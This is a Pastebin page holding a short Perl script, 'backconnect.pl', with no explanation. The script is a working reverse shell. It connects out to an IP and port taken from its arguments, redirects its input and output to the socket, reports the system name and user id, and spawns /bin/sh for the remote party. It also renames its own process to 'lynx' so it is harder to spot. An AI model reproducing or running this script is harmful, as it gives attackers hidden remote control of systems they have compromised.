Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- # backconnect.pl
- # perl backconnect.pl [ip] [port]
- # example: perl backconnect.txt 127.0.0.1 9999 &
- use Socket;
- $cmd= "lynx";
- $system= 'echo "`uname -a`";echo "`id`";/bin/sh';
- $0=$cmd;
- $target=$ARGV[0];
- $port=$ARGV[1];
- $iaddr=inet_aton($target) || die("Error: $!\n");
- $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
- $proto=getprotobyname('tcp');
- socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
- connect(SOCKET, $paddr) || die("Error: $!\n");
- open(STDIN, ">&SOCKET");
- open(STDOUT, ">&SOCKET");
- open(STDERR, ">&SOCKET");
- system($system);
- close(STDIN);
- close(STDOUT);
- close(STDERR);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement